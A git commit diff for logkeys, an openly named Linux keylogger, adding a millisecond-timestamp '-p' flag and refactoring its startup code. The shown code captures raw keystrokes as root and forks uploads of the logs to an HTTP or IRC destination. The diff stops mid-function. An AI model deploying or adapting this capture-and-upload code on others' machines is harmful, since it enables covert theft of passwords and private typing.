added -p flag
This commit is contained in:
parent
033e51201a
commit
1bb82fa267
|
@ -1,4 +1,4 @@
|
||||||
CXXFLAGS = -Wall -O3 -DSYS_CONF_DIR=\"$(sysconfdir)\"
|
CXXFLAGS = -std=c++0x -Wall -O3 -DSYS_CONF_DIR=\"$(sysconfdir)\"
|
||||||
|
|
||||||
bin_PROGRAMS = logkeys llk llkk
|
bin_PROGRAMS = logkeys llk llkk
|
||||||
logkeys_SOURCES = logkeys.cc
|
logkeys_SOURCES = logkeys.cc
|
||||||
|
|
|
@ -18,6 +18,7 @@ struct arguments
|
||||||
bool start; // start keylogger, -s switch
|
bool start; // start keylogger, -s switch
|
||||||
bool kill; // stop keylogger, -k switch
|
bool kill; // stop keylogger, -k switch
|
||||||
bool us_keymap; // use default US keymap, -u switch
|
bool us_keymap; // use default US keymap, -u switch
|
||||||
|
bool precise; // log with ms, -p switch
|
||||||
std::string logfile; // user-specified log filename, -o switch
|
std::string logfile; // user-specified log filename, -o switch
|
||||||
std::string keymap; // user-specified keymap file, -m switch or --export-keymap
|
std::string keymap; // user-specified keymap file, -m switch or --export-keymap
|
||||||
std::string device; // user-specified input event device, given with -d switch
|
std::string device; // user-specified input event device, given with -d switch
|
||||||
|
@ -48,6 +49,7 @@ void process_command_line_arguments(int argc, char **argv)
|
||||||
{"us-keymap", no_argument, 0, 'u'},
|
{"us-keymap", no_argument, 0, 'u'},
|
||||||
{"kill", no_argument, 0, 'k'},
|
{"kill", no_argument, 0, 'k'},
|
||||||
{"device", required_argument, 0, 'd'},
|
{"device", required_argument, 0, 'd'},
|
||||||
|
{"precise", no_argument, 0, 'p'},
|
||||||
{"help", no_argument, 0, '?'},
|
{"help", no_argument, 0, '?'},
|
||||||
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
|
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
|
||||||
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
|
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
|
||||||
|
@ -62,7 +64,7 @@ void process_command_line_arguments(int argc, char **argv)
|
||||||
int c;
|
int c;
|
||||||
int option_index;
|
int option_index;
|
||||||
|
|
||||||
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
|
while ((c = getopt_long(argc, argv, "sm:o:ukpd:?", long_options, &option_index)) != -1)
|
||||||
{
|
{
|
||||||
switch (c)
|
switch (c)
|
||||||
{
|
{
|
||||||
|
@ -72,6 +74,7 @@ void process_command_line_arguments(int argc, char **argv)
|
||||||
case 'u': args.us_keymap = true; break;
|
case 'u': args.us_keymap = true; break;
|
||||||
case 'k': args.kill = true; break;
|
case 'k': args.kill = true; break;
|
||||||
case 'd': args.device = optarg; break;
|
case 'd': args.device = optarg; break;
|
||||||
|
case 'p': args.precise = true; break;
|
||||||
|
|
||||||
case 0 :
|
case 0 :
|
||||||
args.flags |= flags;
|
args.flags |= flags;
|
||||||
|
|
243
src/logkeys.cc
243
src/logkeys.cc
|
@ -24,6 +24,8 @@
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
#include <linux/input.h>
|
#include <linux/input.h>
|
||||||
|
#include <chrono> // for precise time messureing
|
||||||
|
#include <iostream> //debug
|
||||||
|
|
||||||
#ifdef HAVE_CONFIG_H
|
#ifdef HAVE_CONFIG_H
|
||||||
# include <config.h> // include config produced from ./configure
|
# include <config.h> // include config produced from ./configure
|
||||||
|
@ -59,6 +61,12 @@
|
||||||
#include "keytables.cc" // character and function key tables and helper functions
|
#include "keytables.cc" // character and function key tables and helper functions
|
||||||
#include "upload.cc" // functions concerning remote uploading of log file
|
#include "upload.cc" // functions concerning remote uploading of log file
|
||||||
|
|
||||||
|
// these event.value-s aren't defined in <linux/input.h> ?
|
||||||
|
#define EV_MAKE 1 // when key pressed
|
||||||
|
#define EV_BREAK 0 // when key released
|
||||||
|
#define EV_REPEAT 2 // when key switches to repeating after short delay
|
||||||
|
#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
|
||||||
|
|
||||||
namespace logkeys {
|
namespace logkeys {
|
||||||
|
|
||||||
// executes cmd and returns string ouput
|
// executes cmd and returns string ouput
|
||||||
|
@ -90,9 +98,7 @@ void set_utf8_locale()
|
||||||
// set locale to common UTF-8 for wchars to be recognized correctly
|
// set locale to common UTF-8 for wchars to be recognized correctly
|
||||||
if (setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available
|
if (setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available
|
||||||
char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
|
char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
|
||||||
if (locale != NULL &&
|
if (locale != NULL && (strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL || strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL))
|
||||||
(strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL ||
|
|
||||||
strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL) )
|
|
||||||
; // if locale has "UTF-8" in its name, it is cool to do nothing
|
; // if locale has "UTF-8" in its name, it is cool to do nothing
|
||||||
else
|
else
|
||||||
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe");
|
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe");
|
||||||
|
@ -114,11 +120,11 @@ void create_PID_file()
|
||||||
if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
|
if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
|
||||||
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
|
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
|
||||||
close(pid_fd);
|
close(pid_fd);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
if (errno == EEXIST) // This should never happen
|
if (errno == EEXIST) // This should never happen
|
||||||
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
|
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
|
||||||
else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
|
else
|
||||||
|
error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -186,12 +192,15 @@ void determine_system_keymap()
|
||||||
// replace any U+#### with 0x#### for easier parsing
|
// replace any U+#### with 0x#### for easier parsing
|
||||||
index = line.find("U+", 0);
|
index = line.find("U+", 0);
|
||||||
while (static_cast<std::string::size_type>(index) != std::string::npos) {
|
while (static_cast<std::string::size_type>(index) != std::string::npos) {
|
||||||
line[index] = '0'; line[index + 1] = 'x';
|
line[index] = '0';
|
||||||
|
line[index + 1] = 'x';
|
||||||
index = line.find("U+", index);
|
index = line.find("U+", index);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
|
if (++i >= sizeof(char_or_func))
|
||||||
if (!is_char_key(i)) continue; // only map character keys of keyboard
|
break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
|
||||||
|
if (!is_char_key(i))
|
||||||
|
continue; // only map character keys of keyboard
|
||||||
|
|
||||||
assert(line.size() > 0);
|
assert(line.size() > 0);
|
||||||
if (line[0] == 'k') { // if line starts with 'keycode'
|
if (line[0] == 'k') { // if line starts with 'keycode'
|
||||||
|
@ -200,18 +209,21 @@ void determine_system_keymap()
|
||||||
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
|
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
|
||||||
ss >> std::hex >> utf8code;
|
ss >> std::hex >> utf8code;
|
||||||
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
|
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
|
||||||
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
|
if (line[14] == '+' && (utf8code & 0xB00))
|
||||||
|
utf8code ^= 0xB00;
|
||||||
char_keys[index] = static_cast<wchar_t>(utf8code);
|
char_keys[index] = static_cast<wchar_t>(utf8code);
|
||||||
|
|
||||||
// if there is a second keysym column, assume it is a shift column
|
// if there is a second keysym column, assume it is a shift column
|
||||||
if (ss >> std::hex >> utf8code) {
|
if (ss >> std::hex >> utf8code) {
|
||||||
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
|
if (line[14] == '+' && (utf8code & 0xB00))
|
||||||
|
utf8code ^= 0xB00;
|
||||||
shift_keys[index] = static_cast<wchar_t>(utf8code);
|
shift_keys[index] = static_cast<wchar_t>(utf8code);
|
||||||
}
|
}
|
||||||
|
|
||||||
// if there is a third keysym column, assume it is an altgr column
|
// if there is a third keysym column, assume it is an altgr column
|
||||||
if (ss >> std::hex >> utf8code) {
|
if (ss >> std::hex >> utf8code) {
|
||||||
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
|
if (line[14] == '+' && (utf8code & 0xB00))
|
||||||
|
utf8code ^= 0xB00;
|
||||||
altgr_keys[index] = static_cast<wchar_t>(utf8code);
|
altgr_keys[index] = static_cast<wchar_t>(utf8code);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -222,7 +234,8 @@ void determine_system_keymap()
|
||||||
index = to_char_keys_index(--i);
|
index = to_char_keys_index(--i);
|
||||||
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
|
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
|
||||||
ss >> std::hex >> utf8code;
|
ss >> std::hex >> utf8code;
|
||||||
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
|
if (line[21] == '+' && (utf8code & 0xB00))
|
||||||
|
utf8code ^= 0xB00; // see line 0XB00CLUELESS
|
||||||
|
|
||||||
if (line[1] == 's') // if line starts with "shift"
|
if (line[1] == 's') // if line starts with "shift"
|
||||||
shift_keys[index] = static_cast<wchar_t>(utf8code);
|
shift_keys[index] = static_cast<wchar_t>(utf8code);
|
||||||
|
@ -250,13 +263,16 @@ void parse_input_keymap()
|
||||||
|
|
||||||
while (!feof(stdin)) {
|
while (!feof(stdin)) {
|
||||||
|
|
||||||
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
|
if (++i >= sizeof(char_or_func))
|
||||||
|
break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
|
||||||
|
|
||||||
if (is_used_key(i)) {
|
if (is_used_key(i)) {
|
||||||
++line_number;
|
++line_number;
|
||||||
if (fgetws(line, sizeof(line), stdin) == NULL) {
|
if (fgetws(line, sizeof(line), stdin) == NULL) {
|
||||||
if (feof(stdin)) break;
|
if (feof(stdin))
|
||||||
else error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error");
|
break;
|
||||||
|
else
|
||||||
|
error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error");
|
||||||
}
|
}
|
||||||
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
|
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
|
||||||
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
|
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
|
||||||
|
@ -275,7 +291,8 @@ void parse_input_keymap()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (is_func_key(i)) {
|
if (is_func_key(i)) {
|
||||||
if (i == KEY_SPACE) continue; // space causes empty string and trouble
|
if (i == KEY_SPACE)
|
||||||
|
continue; // space causes empty string and trouble
|
||||||
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
|
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
|
||||||
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen?
|
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen?
|
||||||
wcscpy(func_keys[to_func_keys_index(i)], func_string);
|
wcscpy(func_keys[to_func_keys_index(i)], func_string);
|
||||||
|
@ -301,19 +318,16 @@ void export_keymap_to_file()
|
||||||
if (is_char_key(i)) {
|
if (is_char_key(i)) {
|
||||||
index = to_char_keys_index(i);
|
index = to_char_keys_index(i);
|
||||||
// only export non-null characters
|
// only export non-null characters
|
||||||
if (char_keys[index] != L'\0' &&
|
if (char_keys[index] != L'\0' && shift_keys[index] != L'\0' && altgr_keys[index] != L'\0')
|
||||||
shift_keys[index] != L'\0' &&
|
|
||||||
altgr_keys[index] != L'\0')
|
|
||||||
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
|
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
|
||||||
else if (char_keys[index] != L'\0' &&
|
else if (char_keys[index] != L'\0' && shift_keys[index] != L'\0')
|
||||||
shift_keys[index] != L'\0')
|
|
||||||
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
|
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
|
||||||
else if (char_keys[index] != L'\0')
|
else if (char_keys[index] != L'\0')
|
||||||
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
|
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
|
||||||
else // if all \0, export nothing on that line (=keymap will not parse)
|
else
|
||||||
|
// if all \0, export nothing on that line (=keymap will not parse)
|
||||||
buflen = sprintf(buffer, "\n");
|
buflen = sprintf(buffer, "\n");
|
||||||
}
|
} else if (is_func_key(i)) {
|
||||||
else if (is_func_key(i)) {
|
|
||||||
buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
|
buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -329,7 +343,8 @@ void export_keymap_to_file()
|
||||||
void determine_input_device()
|
void determine_input_device()
|
||||||
{
|
{
|
||||||
// better be safe than sory: while running other programs, switch user to nobody
|
// better be safe than sory: while running other programs, switch user to nobody
|
||||||
setegid(65534); seteuid(65534);
|
setegid(65534);
|
||||||
|
seteuid(65534);
|
||||||
|
|
||||||
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
|
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
|
||||||
// The compiler automatically concatenates these adjacent strings to a single string.
|
// The compiler automatically concatenates these adjacent strings to a single string.
|
||||||
|
@ -343,7 +358,8 @@ void determine_input_device()
|
||||||
|
|
||||||
while (std::getline(output, line)) {
|
while (std::getline(output, line)) {
|
||||||
std::string::size_type i = line.find("event");
|
std::string::size_type i = line.find("event");
|
||||||
if (i != std::string::npos) i += 5; // "event".size() == 5
|
if (i != std::string::npos)
|
||||||
|
i += 5; // "event".size() == 5
|
||||||
if (i < line.size()) {
|
if (i < line.size()) {
|
||||||
int index = atoi(&line.c_str()[i]);
|
int index = atoi(&line.c_str()[i]);
|
||||||
|
|
||||||
|
@ -366,25 +382,22 @@ void determine_input_device()
|
||||||
args.device = results[0]; // for now, use only the first found device
|
args.device = results[0]; // for now, use only the first found device
|
||||||
|
|
||||||
// now we reclaim those root privileges
|
// now we reclaim those root privileges
|
||||||
seteuid(0); setegid(0);
|
seteuid(0);
|
||||||
|
setegid(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void init() {
|
||||||
int main(int argc, char **argv)
|
if (geteuid())
|
||||||
{
|
error(EXIT_FAILURE, errno, "Got r00t?");
|
||||||
on_exit(exit_cleanup, NULL);
|
|
||||||
|
|
||||||
|
|
||||||
args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified
|
|
||||||
|
|
||||||
process_command_line_arguments(argc, argv);
|
|
||||||
|
|
||||||
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
|
|
||||||
// kill existing logkeys process
|
// kill existing logkeys process
|
||||||
if (args.kill) kill_existing_process();
|
if (args.kill)
|
||||||
|
kill_existing_process();
|
||||||
|
|
||||||
// if neither start nor export, that must be an error
|
// if neither start nor export, that must be an error
|
||||||
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); }
|
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) {
|
||||||
|
usage();
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
// if posting remote and post_size not set, set post_size to default [500K bytes]
|
// if posting remote and post_size not set, set post_size to default [500K bytes]
|
||||||
if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) {
|
if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) {
|
||||||
|
@ -408,16 +421,14 @@ int main(int argc, char **argv)
|
||||||
determine_system_keymap();
|
determine_system_keymap();
|
||||||
export_keymap_to_file();
|
export_keymap_to_file();
|
||||||
// = exit(0)
|
// = exit(0)
|
||||||
}
|
} else if (!args.keymap.empty()) // custom keymap in use
|
||||||
else if (!args.keymap.empty()) // custom keymap in use
|
|
||||||
parse_input_keymap();
|
parse_input_keymap();
|
||||||
else
|
else
|
||||||
determine_system_keymap();
|
determine_system_keymap();
|
||||||
|
|
||||||
if (args.device.empty()) { // no device given with -d switch
|
if (args.device.empty()) { // no device given with -d switch
|
||||||
determine_input_device();
|
determine_input_device();
|
||||||
}
|
} else { // event device supplied as -d argument
|
||||||
else { // event device supplied as -d argument
|
|
||||||
std::string::size_type i = args.device.find_last_of('/');
|
std::string::size_type i = args.device.find_last_of('/');
|
||||||
args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1));
|
args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1));
|
||||||
}
|
}
|
||||||
|
@ -441,14 +452,51 @@ int main(int argc, char **argv)
|
||||||
seteuid(getuid());
|
seteuid(getuid());
|
||||||
setegid(getgid());
|
setegid(getgid());
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string createStamp() {
|
||||||
|
std::chrono::time_point < std::chrono::system_clock > time = std::chrono::system_clock::now();
|
||||||
|
time_t cur_time = std::chrono::system_clock::to_time_t(time);
|
||||||
|
auto time_ms = std::chrono::duration_cast < std::chrono::milliseconds > (time - std::chrono::system_clock::from_time_t(cur_time));
|
||||||
|
char timestamp[32];
|
||||||
|
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
||||||
|
return std::string(timestamp) + std::to_string(time_ms.count()) + "ms : ";
|
||||||
|
}
|
||||||
|
|
||||||
|
int printBeginStamp(FILE* out) {
|
||||||
|
std::string timestamp = createStamp();
|
||||||
|
int size = 0;
|
||||||
|
if (args.flags & FLAG_NO_TIMESTAMPS)
|
||||||
|
size = fputs(("Logging started at " + timestamp + "\n\n").c_str(), out);
|
||||||
|
else
|
||||||
|
size = fputs(("Logging started ...\n\n" + timestamp).c_str(), out);
|
||||||
|
fflush(out);
|
||||||
|
return size > 0 ? size : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int printTimeStamp(FILE* out) {
|
||||||
|
int size = 0;
|
||||||
|
if (!(args.flags & FLAG_NO_TIMESTAMPS))
|
||||||
|
size = fputs(("\n" + createStamp()).c_str(), out);
|
||||||
|
return size;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
on_exit(exit_cleanup, NULL);
|
||||||
|
|
||||||
|
args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified
|
||||||
|
|
||||||
|
process_command_line_arguments(argc, argv);
|
||||||
|
|
||||||
|
init();
|
||||||
|
|
||||||
// open log file (if file doesn't exist, create it with safe 0600 permissions)
|
// open log file (if file doesn't exist, create it with safe 0600 permissions)
|
||||||
umask(0177);
|
umask(0177);
|
||||||
FILE *out = NULL;
|
FILE *out = NULL;
|
||||||
if (args.logfile == "-") {
|
if (args.logfile == "-") {
|
||||||
out = stdout;
|
out = stdout;
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
out = fopen(args.logfile.c_str(), "a");
|
out = fopen(args.logfile.c_str(), "a");
|
||||||
}
|
}
|
||||||
if (!out)
|
if (!out)
|
||||||
|
@ -464,7 +512,8 @@ int main(int argc, char **argv)
|
||||||
}
|
}
|
||||||
|
|
||||||
// now we need those privileges back in order to create system-wide PID_FILE
|
// now we need those privileges back in order to create system-wide PID_FILE
|
||||||
seteuid(0); setegid(0);
|
seteuid(0);
|
||||||
|
setegid(0);
|
||||||
if (!(args.flags & FLAG_NO_DAEMON)) {
|
if (!(args.flags & FLAG_NO_DAEMON)) {
|
||||||
create_PID_file();
|
create_PID_file();
|
||||||
}
|
}
|
||||||
|
@ -474,7 +523,7 @@ int main(int argc, char **argv)
|
||||||
|
|
||||||
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
|
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
|
||||||
struct input_event event;
|
struct input_event event;
|
||||||
char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
|
//char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
|
||||||
bool capslock_in_effect = execute(COMMAND_STR_CAPSLOCK_STATE).size() >= 2;
|
bool capslock_in_effect = execute(COMMAND_STR_CAPSLOCK_STATE).size() >= 2;
|
||||||
bool shift_in_effect = false;
|
bool shift_in_effect = false;
|
||||||
bool altgr_in_effect = false;
|
bool altgr_in_effect = false;
|
||||||
|
@ -486,33 +535,25 @@ int main(int argc, char **argv)
|
||||||
off_t file_size = st.st_size; // log file is currently file_size bytes "big"
|
off_t file_size = st.st_size; // log file is currently file_size bytes "big"
|
||||||
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
|
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
|
||||||
|
|
||||||
time_t cur_time;
|
/*time_t cur_time;
|
||||||
time(&cur_time);
|
time(&cur_time);
|
||||||
#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
|
|
||||||
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
||||||
|
*/
|
||||||
if (args.flags & FLAG_NO_TIMESTAMPS)
|
file_size += printBeginStamp(out);
|
||||||
file_size += fprintf(out, "Logging started at %s\n\n", timestamp);
|
|
||||||
else
|
|
||||||
file_size += fprintf(out, "Logging started ...\n\n%s", timestamp);
|
|
||||||
fflush(out);
|
|
||||||
|
|
||||||
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
|
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
|
||||||
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
|
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
|
||||||
|
|
||||||
// these event.value-s aren't defined in <linux/input.h> ?
|
if (event.type != EV_KEY)
|
||||||
#define EV_MAKE 1 // when key pressed
|
continue; // keyboard events are always of type EV_KEY
|
||||||
#define EV_BREAK 0 // when key released
|
|
||||||
#define EV_REPEAT 2 // when key switches to repeating after short delay
|
|
||||||
|
|
||||||
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
|
|
||||||
|
|
||||||
inc_size = 0;
|
inc_size = 0;
|
||||||
scan_code = event.code;
|
scan_code = event.code;
|
||||||
|
|
||||||
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
|
if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error
|
||||||
inc_size += fprintf(out, "<E-%x>", scan_code);
|
inc_size += fprintf(out, "<E-%x>", scan_code);
|
||||||
if (inc_size > 0) file_size += inc_size;
|
if (inc_size > 0)
|
||||||
|
file_size += inc_size;
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -525,7 +566,8 @@ int main(int argc, char **argv)
|
||||||
ss.clear();
|
ss.clear();
|
||||||
ss.str("");
|
ss.str("");
|
||||||
ss << args.logfile << "." << i;
|
ss << args.logfile << "." << i;
|
||||||
if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist
|
if (stat(ss.str().c_str(), &st) == -1)
|
||||||
|
break; // file .log.i doesn't yet exist
|
||||||
}
|
}
|
||||||
|
|
||||||
if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed
|
if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed
|
||||||
|
@ -538,16 +580,14 @@ int main(int argc, char **argv)
|
||||||
file_size = 0; // new log file is now empty
|
file_size = 0; // new log file is now empty
|
||||||
|
|
||||||
// write new timestamp
|
// write new timestamp
|
||||||
time(&cur_time);
|
//time(&cur_time);
|
||||||
strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
//strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
|
||||||
if (args.flags & FLAG_NO_TIMESTAMPS)
|
file_size += printBeginStamp(out);
|
||||||
file_size += fprintf(out, "Logging started at %s\n\n", timestamp);
|
|
||||||
else
|
|
||||||
file_size += fprintf(out, "Logging started ...\n\n%s", timestamp);
|
|
||||||
|
|
||||||
if (!args.http_url.empty() || !args.irc_server.empty()) {
|
if (!args.http_url.empty() || !args.irc_server.empty()) {
|
||||||
switch (fork()) {
|
switch (fork()) {
|
||||||
case -1: error(0, errno, "Error while forking remote-posting process");
|
case -1:
|
||||||
|
error(0, errno, "Error while forking remote-posting process");
|
||||||
case 0:
|
case 0:
|
||||||
start_remote_upload(); // child process will upload the .log.i files
|
start_remote_upload(); // child process will upload the .log.i files
|
||||||
exit(EXIT_SUCCESS);
|
exit(EXIT_SUCCESS);
|
||||||
|
@ -559,12 +599,13 @@ int main(int argc, char **argv)
|
||||||
if (event.value == EV_REPEAT) {
|
if (event.value == EV_REPEAT) {
|
||||||
++count_repeats;
|
++count_repeats;
|
||||||
} else if (count_repeats) {
|
} else if (count_repeats) {
|
||||||
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL ||
|
if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL)
|
||||||
prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT ||
|
; // if repeated key is modifier, do nothing
|
||||||
prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing
|
|
||||||
else {
|
else {
|
||||||
if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either
|
if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code))
|
||||||
else inc_size += fprintf(out, "<#+%d>", count_repeats);
|
; // if repeated was function key, and if we don't log function keys, then don't log repeat either
|
||||||
|
else
|
||||||
|
inc_size += fprintf(out, "<#+%d>", count_repeats);
|
||||||
}
|
}
|
||||||
count_repeats = 0; // reset count for future use
|
count_repeats = 0; // reset count for future use
|
||||||
}
|
}
|
||||||
|
@ -572,19 +613,20 @@ int main(int argc, char **argv)
|
||||||
// on key press
|
// on key press
|
||||||
if (event.value == EV_MAKE) {
|
if (event.value == EV_MAKE) {
|
||||||
|
|
||||||
// on ENTER key or Ctrl+C/Ctrl+D event append timestamp
|
// on ENTER key or Ctrl+C/Ctrl+D event or precise is enabled append timestamp
|
||||||
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
|
if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
|
||||||
(ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
|
|
||||||
if (ctrl_in_effect)
|
if (ctrl_in_effect)
|
||||||
inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
|
inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D
|
||||||
if (args.flags & FLAG_NO_TIMESTAMPS)
|
if (args.flags & FLAG_NO_TIMESTAMPS)
|
||||||
inc_size += fprintf(out, "\n");
|
inc_size += fprintf(out, "\n");
|
||||||
else {
|
else
|
||||||
strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec));
|
inc_size += printTimeStamp(out);
|
||||||
inc_size += fprintf(out, "%s", timestamp); // then newline and timestamp
